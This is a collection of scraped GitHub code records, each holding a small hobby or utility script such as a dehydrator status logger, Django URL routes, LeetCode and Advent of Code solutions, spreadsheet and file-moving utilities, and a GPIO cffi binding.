img_draw.text((360, 690), line, font=line_font, fill=(20, 11, 15))\n\n # img.show()\n\n return img\n","repo_name":"kreativ25/telegram_bot_bank","sub_path":"echo/nbrb/kurs/kurs_nb_one.py","file_name":"kurs_nb_one.py","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17294556214","text":"class Solution:\n def findDuplicate(self, paths: List[str]) -> List[List[str]]:\n dictt = {}\n for path in paths:\n lists = path.split()\n dirr = lists[0]\n for i in range(1,len(lists)):\n fl = lists[i]\n file_name = fl[:fl.index(\"(\")]\n content = fl[fl.index(\"(\")+1:-1]\n if content not in dictt:\n dictt[content] = []\n dictt[content].append(dirr + \"/\" + file_name)\n return [dictt[group] for group in dictt if len(dictt[group]) > 1]\n\n \n \n\n","repo_name":"zrobera/Competitive-Programming","sub_path":"609-find-duplicate-file-in-system/609-find-duplicate-file-in-system.py","file_name":"609-find-duplicate-file-in-system.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16096844479","text":"\"\"\"Proyectos_notas URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom postres import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',views.index, name='index'),\n path('profesores/',views.profesor, name='profesor'),\n path('notas/', views.notas, name='notas'),\n path('anotaciones/', views.anotaciones, name='anotaciones'),\n path('actividadesp/',views.actividadesp,name='actividadesp'),\n path('alumno/',views.alumno,name='alumno'),\n path('notasal/',views.notasal,name='notasal'),\n path('actividadesal/',views.actividadesal, name='actividadesal'),\n path('loginalumno/',views.logina,name=\"loginalumno\"),\n path('loginprofesor/',views.loginp,name='loginprofesor'),\n path('loginapoderado/',views.loginap,name='loginapoderado'),\n path('apoderados/',views.apoderados,name='apoderados'),\n \n\n \n]\n","repo_name":"matiasr12/Proyectos_notas","sub_path":"Proyectos_notas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"40493828973","text":"#!/usr/bin/env python2\n\n\"\"\"Retrieve and log the status of Netcomm dehydrators \nversion='1.0.2'\n'Programming Language :: Python :: 2'\n\"\"\"\n\nfrom __future__ import print_function\nimport ConfigParser\n#import requests -> Code fails in python3 because http.client gives BadStatusLine to the response from the dehydrator, re-written to use older version of httplib in python2\nimport httplib\nimport datetime\nimport argparse\nimport subprocess\nimport os\n\ndef load_config(conf_file):\n '''\n Read an ini file containing station parameters\n \n filename: string, containing path and filename\n \n returns: ConfigParser instance, parser\n '''\n config = ConfigParser.ConfigParser()\n config.readfp(open(conf_file))\n return config\n \ndef getstatus(siteURI):\n '''\n Gets status of the dehydrator\n\n siteURI: string, containing the URI of the site\n\n returns: string, status message\n '''\n #Code using httplib\n fullURI = siteURI\n try:\n conn = httplib.HTTPConnection(fullURI)\n headers = {'Content-type': 'text/plain;charset=UTF-8', 'Accept':'text/plain'}\n conn.request('POST', '/status.cgi', 'S', headers)\n r = conn.getresponse()\n status = r.read()\n #print(status)\n except:\n status = \"?;?;?;?;?;?;?;\"\n #raise\n return status\n \ndef getconfig(siteURI):\n '''\n Gets config of the dehydrator\n\n siteURI: string, containing the URI of the site\n\n returns: string, config message\n '''\n fullURI = siteURI\n #configlist = ['VA','VR','IC','PL','IX','SX','CX','MX','RX','RM']\n try:\n config = {'VA':'','VR':'','IC':'','PL':'','IX':'','SX':'','CX':'','MX':'','RX':'','RM':''}\n for item in config:\n conn = httplib.HTTPConnection(fullURI)\n headers = {'Content-type': 'text/plain;charset=UTF-8', 'Accept':'text/plain'}\n conn.request('POST', '/config.cgi', item, headers)\n r = conn.getresponse()\n config[item] = r.read()\n except:\n config = {}\n return config\n \ndef statemasterslave(state):\n '''\n Gets the state of the dehydrator and returns the masterslave state\n \n state: string, state message\n \n returns: string, state of master slave\n '''\n try:\n if state[0] == 'S':\n masterslave=\"Slave\"\n elif state[0] == 'M':\n masterslave=\"Master\"\n elif state[0] == 'N':\n masterslave=\"Master Offline\"\n elif state[0] == 'P':\n masterslave=\"Parallel Master\"\n elif state[0] == 'Q':\n masterslave=\"Parallel Master Offline\"\n else:\n masterslave=\"???\"\n except:\n masterslave=\"???\"\n return masterslave\n \ndef statesuperstate(state):\n '''\n Gets the state of the dehydrator and returns the superstate state\n \n state: string, state message\n \n returns: string, superstate\n '''\n try:\n if state[1] == 'N':\n superstate=\"Normal\"\n elif state[1] == 'S':\n superstate=\"Standby\"\n elif state[1] == 'L':\n superstate=\"Leaky\"\n elif state[1] == 'R':\n superstate=\"Remote\"\n elif state[1] == 'J':\n superstate=\"PM: joint pumping\"\n elif state[1] == 'U':\n superstate=\"PM: slave pumping\"\n elif state[1] == 'I':\n superstate=\"PM: solo pumping\" \n else:\n superstate=\"???\"\n except:\n superstate=\"???\"\n return superstate\n\ndef stateenv(state): \n '''\n Gets the state of the dehydrator and returns the environment state\n \n state: string, state message\n \n returns: string, environment state\n '''\n try:\n if state[2] == 'N':\n env=\"Normal\"\n elif state[2] == 'C':\n env=\"Cold\"\n elif state[2] == 'H':\n env=\"Hot\"\n else:\n env=\"???\"\n except:\n env=\"???\"\n return env\n\ndef statecan1cnt(state):\n '''\n Gets the state of the dehydrator and returns the can1 condition\n \n state: string, state message\n \n returns: string, can1 condition\n '''\n try:\n if state[3] == 'O':\n can1cnt=\"Ready\"\n elif state[3] == 'F':\n can1cnt=\"Full\"\n elif state[3] == 'U':\n can1cnt=\"Init.\"\n elif state[3] == 'D':\n can1cnt=\"Dead\" \n else:\n can1cnt=\"???\"\n except:\n can1cnt=\"???\"\n return can1cnt\n\ndef statecan1use(state):\n '''\n Gets the state of the dehydrator and returns the can1 use condition\n \n state: string, state message\n \n returns: string, can1 use condition\n '''\n try:\n if state[4] == 'I':\n can1use=\"Idle\"\n elif state[4] == 'U':\n can1use=\"In use\"\n elif state[4] == 'R':\n can1use=\"Regenerating\"\n else:\n can1use=\"???\"\n except:\n can1use=\"???\"\n return can1use\n\ndef statecan2cnt(state):\n '''\n Gets the state of the dehydrator and returns the can2 condition\n \n state: string, state message\n \n returns: string, can2 condition\n '''\n try:\n if state[5] == 'O':\n can2cnt=\"Ready\"\n elif state[5] == 'F':\n can2cnt=\"Full\"\n elif state[5] == 'U':\n can2cnt=\"Init.\"\n elif state[5] == 'D':\n can2cnt=\"Dead\" \n else:\n can2cnt=\"???\"\n except:\n can2cnt=\"???\"\n return can2cnt\n\ndef statecan2use(state):\n '''\n Gets the state of the dehydrator and returns the can2 use condition\n \n state: string, state message\n \n returns: string, can2 use condition\n '''\n try:\n if state[6] == 'I':\n can2use=\"Idle\"\n elif state[6] == 'U':\n can2use=\"In use\"\n elif state[6] == 'R':\n can2use=\"Regenerating\"\n else:\n can2use=\"???\"\n except:\n can2use=\"???\"\n return can2use\n \ndef alarms(alarm):\n '''\n Gets the state of the alarms and returns a description of current alarms\n \n state: string, alarm message\n \n returns: list, alarms\n '''\n #Needs testing\n alarmdef = \"1: low pressure\", \"2: high pressure\", \"3: leaky (high duty cycle)\", \"4: too hot\", \"5: too cold\", \"6: low voltage (system error)\", \"7: canister 1 won't heat\", \"8: canister 1 won't cool\", \"9: canister 2 won't heat\", \"10: canister 2 won't cool\", \"11: very leaky (shut down)\", \"12: dew point alarm\", \"13: compressor timeout (system error)\", \"14: comm error\", \"15: canister 1 thermistor bad\", \"16: canister 2 thermistor bad\", \"17: ambient thermistor bad\", \"18: overpressure\", \"19: calibration factors corrupted\", \"20: pressure limits corrupted\", \"21: short duty cycle\", \"22: abandoned pumping\"\n alarmlist = []\n for i, c in enumerate(alarm):\n if c != '-' and c != '?':\n alarmlist.append(alarmdef[i])\n return alarmlist\n \ndef tempC(tempF):\n '''\n Gets the temp in F and returns in C\n \n temp: string, temp F\n \n returns: string, temp C\n '''\n temp = grabnumber(tempF)\n try:\n tempC = (float(temp) - 32) / 1.8\n tempC = str(round(tempC, 1))\n except:\n tempC = '?'\n return tempC\n\ndef grabnumber(vstring):\n '''\n Grabs out the number out of parameter string\n \n vstring: string, the string to process\n \n returns: string, just the numerical part\n '''\n # Courtesy of LGC\n validchar = ('0','1','2','3','4','5','6','7','8','9','.','-','+')\n number = []\n for char in vstring:\n if char in validchar:\n number.append(char)\n number = ''.join(number)\n return number\n \ndef loadallstations(stn_config):\n '''\n Loads the status message from all stations \n \n stn_config: ConfigParser instance, contains the station configs\n \n returns: dict, a dictionary containing the status of the sites\n '''\n stn_config\n statusdict = {}\n for site in stn_config.sections():\n if stn_config.has_option(site,'dehydrator') and stn_config.get(site,'dehydrator') != \"None\":\n sitename = stn_config.get(site,'sitename')\n siteURI = stn_config.get(site,'dehydrator')\n status = getstatus(siteURI)\n statusdatetime = datetime.datetime.now().strftime('%Y%m%d %H%M')\n pressure,ontime,tottime,state,temp,alarm,hours,empty = status.split(\";\")\n pressure = grabnumber(pressure)\n try:\n dutycycle = 100 * float(ontime) / float(tottime)\n dutycycle = str(round(dutycycle, 2))\n except:\n dutycycle = '?'\n statusdict[site] = {'sitename': sitename, 'statusdatetime': statusdatetime, 'pressure': pressure, 'dutycycle': dutycycle, 'ontime': ontime, 'tottime': tottime, 'state': state, 'temp': temp, 'alarm': alarm, 'hours': hours}\n return statusdict\n \ndef displaystations(statusdict):\n '''\n Displays the status message from all stations \n \n statusdict: dict, a dictionary containing the status of the sites\n \n returns: \n '''\n for site in statusdict:\n print()\n print(statusdict[site]['sitename'])\n print(statusdict[site]['alarm'])\n alarmlist = alarms(statusdict[site]['alarm'])\n if len(alarmlist):\n print(alarms(statusdict[site]['alarm']))\n else:\n print('No alarms')\n print('Pressure: ',statusdict[site]['pressure'])\n print('Duty Cycle: ',statusdict[site]['dutycycle'],'%')\n print('Pumping ',statusdict[site]['ontime'],' out of ',statusdict[site]['tottime'],' seconds')\n print('Temperature: ',statusdict[site]['temp'],' (',tempC(statusdict[site]['temp']),')')\n print('Compressor Hours: ',statusdict[site]['hours'])\n print('State: ',statusdict[site]['state'])\n print('Control: ',statemasterslave(statusdict[site]['state']))\n print('Status: ',statesuperstate(statusdict[site]['state']))\n return\n \ndef createlogfiles(base_path, stn_config, statusdict):\n '''\n Writes the dehydrator logs\n \n base_path: string, the base path to create the full path from\n stn_config: ConfigParser instance, contains the station configs\n statusdict: dict, a dictionary containing the status of the sites\n \n returns:\n '''\n dehydratorlogdir = 'dehydrator/'\n filename = 'dehydrator.log'\n for site in statusdict:\n path_file = base_path + stn_config.get(site,'path') + dehydratorlogdir + filename\n try:\n with open(path_file, 'a') as file:\n #if statusdict[site]['pressure'] != '?' and statusdict[site]['dutycycle'] != '?': <-not required with gnuplot\n log = statusdict[site]['statusdatetime'] + ' ' + statusdict[site]['pressure'] + ' ' + statusdict[site]['dutycycle'] + ' ' + tempC(statusdict[site]['temp']) + '\\n'\n file.write(log)\n except:\n print('Failed to open ',path_file)\n return\n\ndef creategraphs(base_path, stn_config, statusdict):\n '''\n Writes the dehydrator graphs\n \n base_path: string, the base path to create the full path from\n stn_config: ConfigParser instance, contains the station configs\n statusdict: dict, a dictionary containing the status of the sites\n \n returns:\n '''\n\n dehydratorlogdir = 'dehydrator/'\n filename = 'dehydrator.log'\n for site in statusdict:\n pathnfilein = base_path + stn_config.get(site,'path') + dehydratorlogdir + filename \n datem7 = datetime.datetime.now() - datetime.timedelta(days=6)\n datem30 = datetime.datetime.now() - datetime.timedelta(days=29)\n # Graph from current time\n #mintime7 = datem7.strftime('%Y%m%d%H%M')\n #maxtime7 = datetime.datetime.now().strftime('%Y%m%d%H%M')\n #mintime30 = datem30.strftime('%Y%m%d%H%M')\n #maxtime30 = datetime.datetime.now().strftime('%Y%m%d%H%M')\n # Graph from midnight to midnight\n mintime7 = datem7.strftime('%Y%m%d') + \"0000\"\n maxtime7 = datetime.datetime.now().strftime('%Y%m%d') + \"2359\"\n mintime30 = datem30.strftime('%Y%m%d') + \"0000\"\n maxtime30 = datetime.datetime.now().strftime('%Y%m%d') + \"2359\"\n\n #Start of png 7 day generation\n try:\n pathnfileout7 = open(base_path + stn_config.get(site,'path') + dehydratorlogdir + '7day.png', 'w')\n proc = subprocess.Popen(['/usr/bin/gnuplot'], \n shell=True,\n stdin=subprocess.PIPE,\n stdout=pathnfileout7,\n )\n \n proc.stdin.write(\"set term png\\n\") #for newer version of GNUplot\n proc.stdin.write(\"set title 'Graph of dehydrator pressure and duty cycle for 7 days '\\n\")\n proc.stdin.write(\"set style data linespoints\\n\")\n proc.stdin.write(\"set size 1.0,1.0\\n\")\n proc.stdin.write(\"set ytics nomirror\\n\")\n proc.stdin.write(\"set y2tics 1, 1\\n\")\n proc.stdin.write(\"set ylabel 'Pressure (psi)'\\n\")\n proc.stdin.write(\"set y2label 'Duty cycle (%)'\\n\")\n proc.stdin.write(\"set yrange [ 1:4 ]\\n\")\n proc.stdin.write(\"set y2range [ 0:10 ]\\n\")\n proc.stdin.write('set timefmt \"%Y%m%d %H%M\"\\n')\n proc.stdin.write(\"set xdata time\\n\")\n proc.stdin.write(\"set xlabel 'Time'\\n\")\n proc.stdin.write('set format x \"%d/%m\\\\n%H:%M\"\\n')\n proc.stdin.write(\"set grid\\n\")\n proc.stdin.write(\"set key left\\n\")\n line = 'set xrange [\"' + mintime7 + '\":\"' + maxtime7 + '\" ]\\n'\n proc.stdin.write(line)\n line = 'plot \"' + pathnfilein + '\"' + \" using 1:3 axes x1y1 t \\'Pressure\\' , \" + '\"' + pathnfilein + '\"' + \" using 1:4 axes x1y2 t \\'Duty cycle\\' \\n\"\n proc.stdin.write(line)\n proc.stdin.close()\n proc.wait()\n pathnfileout7.close()\n except:\n print('Failed to create 7 day graphs')\n \n #Start of png 30 day generation\n try:\n pathnfileout30 = open(base_path + stn_config.get(site,'path') + dehydratorlogdir + '30day.png', 'w')\n proc = subprocess.Popen(['/usr/bin/gnuplot'], \n shell=True,\n stdin=subprocess.PIPE,\n stdout = pathnfileout30,\n )\n \n proc.stdin.write(\"set term png\\n\") #for newer version of GNUplot\n proc.stdin.write(\"set title 'Graph of dehydrator pressure and duty cycle for 30 days '\\n\")\n proc.stdin.write(\"set style data lines\\n\")\n proc.stdin.write(\"set size 1.0,1.0\\n\")\n proc.stdin.write(\"set ytics nomirror\\n\")\n proc.stdin.write(\"set y2tics 1, 1\\n\")\n proc.stdin.write(\"set ylabel 'Pressure (psi)'\\n\")\n proc.stdin.write(\"set y2label 'Duty cycle (%)'\\n\")\n proc.stdin.write(\"set yrange [ 1:4 ]\\n\")\n proc.stdin.write(\"set y2range [ 0:10 ]\\n\")\n proc.stdin.write('set timefmt \"%Y%m%d %H%M\"\\n')\n proc.stdin.write(\"set xdata time\\n\")\n proc.stdin.write(\"set xlabel 'Time'\\n\")\n proc.stdin.write('set format x \"%d/%m\\\\n%H:%M\"\\n')\n proc.stdin.write(\"set grid\\n\")\n proc.stdin.write(\"set key left\\n\")\n #Uncomment the next two lines once the logs reach 30 days\n line = 'set xrange [\"' + mintime30 + '\":\"' + maxtime30 + '\" ]\\n'\n proc.stdin.write(line)\n line = 'plot \"' + pathnfilein + '\"' + \" using 1:3 axes x1y1 t \\'Pressure\\' , \" + '\"' + pathnfilein + '\"' + \" using 1:4 axes x1y2 t \\'Duty cycle\\' \\n\"\n proc.stdin.write(line)\n proc.stdin.close()\n proc.wait()\n pathnfileout30.close()\n except:\n print('Failed to create 30 day graphs')\n return\n \ndef main():\n base_path = '/var/log/www'\n conf_file = '/home/python/webpageframework/stations.ini'\n \n parser = argparse.ArgumentParser(description='Dehydrator monitoring')\n parser.add_argument(\"-d\", \"--display\", action=\"store_true\",\n help=\"Display dehydrator status\")\n parser.add_argument(\"-l\", \"--log\", action=\"store_true\",\n help=\"Log the dehydrator pressure/duty cycle\")\n\n args = parser.parse_args() \n if args.display:\n stn_config = load_config(conf_file)\n statusdict = loadallstations(stn_config)\n displaystations(statusdict)\n elif args.log:\n stn_config = load_config(conf_file)\n statusdict = loadallstations(stn_config)\n createlogfiles(base_path, stn_config, statusdict)\n creategraphs(base_path, stn_config, statusdict)\n else:\n print('Use --help to see the available options')\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"wabrif/netcomdehydratorstatus","sub_path":"dehydrator.py","file_name":"dehydrator.py","file_ext":"py","file_size_in_byte":16821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36485064541","text":"import argparse\nfrom pprint import pprint\nimport operator\n\nimport db_glue\n\ndef check(db, table, fields):\n rows = db.sql(\"SELECT * FROM %s\" % table)\n\n found = set()\n getter = operator.itemgetter(*fields)\n for row in rows:\n key = getter(row)\n if key in found:\n print(\"DUPLICATE FOUND: %s\" % str(key))\n pprint(row)\n else:\n found.add(key)\n\ndef main():\n parser = argparse.ArgumentParser(description='Searches a table in a selected Banshee library file '\n 'for duplicates.')\n\n parser.add_argument(\"dbfile\", help='The Banshee library file to search.')\n parser.add_argument(\"table\", help='The table to search.')\n parser.add_argument(\"fields\", nargs='+', help='The fields to match on for duplicate detection.')\n\n args = parser.parse_args()\n\n check(db_glue.new(args.dbfile), args.table, args.fields)\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"dpitch40/pyBansheeScripts","sub_path":"old/CheckForDuplicates.py","file_name":"CheckForDuplicates.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71361201947","text":"import numpy as np\nfrom VIFP_feat import VIFP_feat\nfrom VIFP_1D_feat import VIFP_1D_feat\n\ndef AVMAF(ref_video, dis_video, ref_audio, dis_audio):\n frame_num = ref_video.shape[2]\n vifp_feat_frame = np.zeros((4, 4))\n for i in range(frame_num):\n ref_frame = ref_video[:, :, i]\n dis_frame = dis_video[:, :, i]\n vifp_feat_frame[i, :] = VIFP_feat(ref_frame, dis_frame)\n vifp_feat_video = np.mean(vifp_feat_frame, 0)\n \n # measure the adjacent frame difference\n diff_frame = np.zeros(frame_num-1)\n for i in range(frame_num-1):\n diff = dis_video[:, :, i] - dis_video[:, :, i+1]\n diff_frame[i, 0] = np.mean(np.abs(diff))\n diff_video = np.mean(diff_frame)\n \n # measure the audio quality\n if ref_audio.shape[1] == 2:\n ref_audio = ref_audio[:, 0]\n if dis_audio.shape[1] == 2:\n dis_audio = dis_audio[:, 1]\n \n vifp_feat_audio = VIFP_1D_feat(ref_audio, dis_audio)\n \n AVMAF_feat = np.array([vifp_feat_video, diff_video, vifp_feat_audio])\n return AVMAF_feat\n \n ","repo_name":"hotelll/AVQA","sub_path":"AVMAF/AVMAF.py","file_name":"AVMAF.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"38291671232","text":"import numpy as np\nnp.set_printoptions(threshold=np.inf, linewidth=np.inf)\n\nfrom util import text2array\n\nfh = open('/home/kade/cA', 'r')\nca = text2array(fh.read())\nfh.close()\n\nprint('Loaded [ca] from /home/kade/cA')\n\nfh = open('/home/kade/cB', 'r')\ncb = text2array(fh.read())\nfh.close()\n\nprint('Loaded [cb] from /home/kade/cB')\n\ndef write2file(c):\n fh = open('/home/kade/fAB', 'w')\n print(c, file=fh)\n fh.close()\n print('Wrote matrix to /home/kade/fAB')\n","repo_name":"hedglinnolan/GSW-Homomorphic-Encryption-Python","sub_path":"demo1b.py","file_name":"demo1b.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"2795216714","text":"#!/usr/bin/env python3\n'''\nCreate a program blankRowInserter.py that takes two integers and a\nfilename string as command line arguments. Let’s call the first integer\nN and the second integer M. Starting at row N, the program should insert\nM blank rows into the spreadsheet. For example, when the program is run\nlike this:\n\npython blankRowInserter.py 3 2 myProduce.xlsx\n\n... the “before” and “after” spreadsheets should look like Figure 12-12.\n'''\n\nimport openpyxl\nimport re\nimport sys\n\ndef usage ():\n return print('usage: python3 \"blank line inserter.py\" '\\\n ' ')\n\n# check if enough number of arguments provided at the command line\nif len(sys.argv) < 4:\n usage()\n sys.exit()\n\n# pass arguments to relevant variables\ninNumber = int(sys.argv[1])\nnoInsert = int(sys.argv[2])\nfname = sys.argv[3]\n\n# check if provided filename to open makes sense\ntry:\n mo = re.search(r'([\\w_-]+)\\.(xlsx)$', fname, re.I)\n firstName, lastName = mo.group(1), mo.group(2)\nexcept Exception:\n print(f'\"{sys.argv[3]}\" is not a proper excel file name for openpyxl')\n sys.exit()\n \nwb = openpyxl.load_workbook(filename=fname)\nsheet = wb.active\n\n# check if insertion line number makes sense \nif sheet.max_row <= inNumber:\n print('No insertion necessary')\n print(f'Insertion line number {inNumber} greater than existing '\\\n f'number of lines of {sheet.max_row} in file {fname}')\n usage()\n sys.exit()\n\n# move cells to new places starting with the last row\nfor i in range(sheet.max_row, inNumber - 1, -1):\n for j in range(1, sheet.max_column + 1):\n sheet.cell(row = i + noInsert, column = j).value\\\n = sheet.cell(row=i, column=j).value\n sheet.cell(row=i, column=j).value = '' # this really make those\n # cells empty\n\nupFilename = firstName + '_updated.' + lastName \nwb.save(upFilename)\nprint(f'Modified file saved under {upFilename}') \n \n","repo_name":"apaksoy/automatetheboringstuff","sub_path":"practice projects/chap 12/blankRowInserter.py","file_name":"blankRowInserter.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"71418355548","text":"from pathlib import Path\nfrom pathlib import PurePath\nimport os\nimport subprocess\nimport logging\nimport argparse\nimport shutil\n\n#first method\np = Path.cwd()\nnew_dir = Path(p.parents[0]).joinpath(\"test\")\nPath.mkdir(new_dir)\ndiscovered_fastqs = []\nlist_of_fastq = list(p.glob('**/*.txt'))\n\nfor item in list_of_fastq:\n filename = item.name\n filesize = item.stat().st_size\n discovered_fastqs.append(tuple([tuple([filename, filesize]), item]))\nprint(str(discovered_fastqs))\n#Second method\nduplicates = []\nfinal_list = []\nfor item in discovered_fastqs:\n filename = item[0][0]\n if filename not in final_list:\n final_list.append(filename)\n else:\n duplicates.append(filename)\nprint(duplicates)\n\n#third method\nitem_to_remove = []\n# looks over items that were duplicated and finds the object associated with the filename and creates a list of objects\nfor item in duplicates:\n for source in discovered_fastqs:\n if item == source[0][0]:\n item_to_remove.append(source)\n# sorts list of objects based on filesize\nsorted(item_to_remove, key=lambda x: x[0][1])\n\n#next method\nfor item in item_to_remove:\n file_size = item[0][1]\n for thing in discovered_fastqs:\n if thing[0][0] == item[0][0]:\n if thing[0][1] < item[0][1]:\n discovered_fastqs.remove(thing)\n\nprint(discovered_fastqs)\n\n\n\n#figure out how to move stuff\n\nfor item in discovered_fastqs:\n shutil.move(str(item[1]),str(new_dir))\nprint(\"Everything Moved\")","repo_name":"lorentzben/Illumina_Unpack","sub_path":"illumina_test.py","file_name":"illumina_test.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"30733226017","text":"import socket\nclass AppendEntriesRPC:\n \n def __init__(self,term,leaderId,prevLogIndex,prevLogTerm,entry,leaderCommit):\n self.term=term\n self.leaderId=leaderId\n self.prevLogIndex=prevLogIndex\n self.prevLogTerm=prevLogTerm\n self.entry=entry\n self.leaderCommit=leaderCommit","repo_name":"adityahemanth/TimeKeeper","sub_path":"src/raft/AppendEntriesRPC.py","file_name":"AppendEntriesRPC.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25388602211","text":"\"\"\"\nFind the kth largest element in an unsorted array. Note that it is the kth largest element in the sorted order, not the kth distinct element.\n\nFor example,\nGiven [3,2,1,5,6,4] and k = 2, return 5.\n\nNote: \nYou may assume k is always valid, 1 ≤ k ≤ array's length.\n\n\"\"\"\n\n# ========= heap ==========\n# Time: O(nlog(k))\n# Space: O(k)\n\nimport heapq\nclass Solution(object):\n def findKthLargest(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n if not nums:\n return None\n \n heap = []\n for n in nums:\n heapq.heappush(heap, n)\n if len(heap) > k:\n heapq.heappop(heap)\n \n return heapq.heappop(heap)\n","repo_name":"HotsauceLee/Leetcode","sub_path":"Categories/Kth_Smallest_Biggest/NOT_DONE_R__215.Kth_Largest_Element_in_an_Array.py","file_name":"NOT_DONE_R__215.Kth_Largest_Element_in_an_Array.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"72028058266","text":"from collections import deque\nfrom copy import deepcopy\nfrom functools import reduce\n\n\nclass Monkey:\n def __init__(self, n):\n self.n = n\n self.items = None\n self.n_inspections = 0\n self.divisor = None\n\n # Placeholder functions\n self.op = lambda: None\n self.throw = lambda: None\n\n def __repr__(self):\n return f\"Monkey: {self.n}\"\n\n def inspect(self, part=1):\n while len(self.items) > 0:\n self.n_inspections += 1\n item = self.items.popleft()\n item = self.op(item)\n\n if part == 1:\n item = item // 3\n else:\n item %= lcm\n\n to = self.throw(item)\n monkeys[to].items.append(item)\n\n def parse_items(self, line):\n line = [x.strip(\",\") for x in line]\n items = list(map(int, line[4:]))\n self.items = deque(items)\n\n def parse_op(self, line):\n expression = \"\".join(line[5:])\n self.op = lambda old: eval(expression)\n\n def parse_condition(self, line):\n self.divisor = line[0]\n self.throw = lambda item: line[1] if item % line[0] == 0 else line[-1]\n\nmonkeys = {}\n\nf = open(\"input.txt\", \"r\")\nf = f.readlines()\n\nidx = 0\nfor i, x in enumerate(f):\n x = x.strip(\"\\n\")\n x = x.split(\" \")\n if x[0] == \"Monkey\":\n m = Monkey(int(x[1][0]))\n continue\n\n if x == [\"\"]:\n monkeys[idx] = m\n idx += 1\n continue\n\n if x[2] == \"Starting\":\n m.parse_items(line=x)\n\n if x[2] == \"Operation:\":\n m.parse_op(line=x)\n\n if x[2] == \"Test:\":\n c = []\n lines = f[i: i + 3]\n lines = list(map(int, [x.strip(\"\\n\").split(\" \")[-1] for x in lines]))\n m.parse_condition(lines)\n\n\nmonkeys[idx] = m\nmonkeys2 = deepcopy(monkeys) # for part 2\n\n\nlcm = 1\nfor m in monkeys.values():\n lcm *= m.divisor\n\n# part 1\nfor i in range(20):\n for m in monkeys.values():\n m.inspect()\n\nres = []\nfor k, v in monkeys.items():\n res.append(v.n_inspections)\n\nres.sort()\nprint(reduce(lambda x, y: x * y, res[-2:]))\n\n# part 2\nmonkeys = monkeys2\nfor i in range(10000):\n for m in monkeys.values():\n m.inspect(part=2)\n\nres = []\nfor k, v in monkeys.items():\n res.append(v.n_inspections)\n\nres.sort()\nprint(reduce(lambda x, y: x * y, res[-2:]))\n","repo_name":"AramKoorn/aoc2022","sub_path":"day11/day11.py","file_name":"day11.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9706579914","text":"from unittest import TestCase\nfrom unittest.mock import patch\nfrom src.adapters import RedisClient\nfrom src.config import Config\n\n\nclass TestRedisClient(TestCase):\n @classmethod\n def setUpClass(cls):\n cls._module = RedisClient.__module__\n\n cls.mock_redis_host = patch.object(Config, 'REDIS_HOST', 'host')\n cls.mock_redis_port = patch.object(Config, 'REDIS_PORT', '6378')\n\n cls.mock_redis_host.start()\n cls.mock_redis_port.start()\n\n def test__get_instance_should_return_the_same_instance(self):\n with patch(f'{self._module}.Redis'):\n instance = RedisClient().get_instance()\n instance2 = RedisClient().get_instance()\n\n self.assertIs(instance, instance2)\n \n def test__get_instance_should_call_redis_with_correct_params(self):\n with patch(f'{self._module}.Redis') as redis:\n RedisClient().get_instance()\n\n redis.assert_called_once_with(host='host', port='6378', decode_responses=True)\n\n @classmethod\n def tearDownClass(cls):\n RedisClient._conn = None\n cls.mock_redis_host.stop()\n cls.mock_redis_port.stop()\n","repo_name":"paulovitorweb/bus-on-map","sub_path":"worker/tests/test_adapters.py","file_name":"test_adapters.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"11"} +{"seq_id":"14097910761","text":"import os\nfrom cffi import FFI\nffi = FFI()\n\npath = os.path.dirname(os.path.realpath(__file__))\n\nwith open(os.path.join(path, 'gpio.c'),'r') as f:\n ffi.set_source(\"g19._gpio\", f.read(), libraries=[\"c\"])\n\nffi.cdef(\n \"\"\"\n void Xil_Mmap(void);\n void Xil_Out32(uint32_t phyaddr, uint32_t val);\n int Xil_In32(uint32_t phyaddr);\n void GPIOGreenLedOn(void);\n void GPIOGreenLedOff(void);\n void GPIORedLedOn(void);\n void GPIORedLedOff(void);\n int GetKey_IPSet(void);\n void set_en_core(uint32_t spi_id, uint32_t value);\n void set_led(uint32_t spi_id, uint32_t mode, uint32_t led_delay);\n \"\"\"\n)\n\nif __name__ == \"__main__\":\n 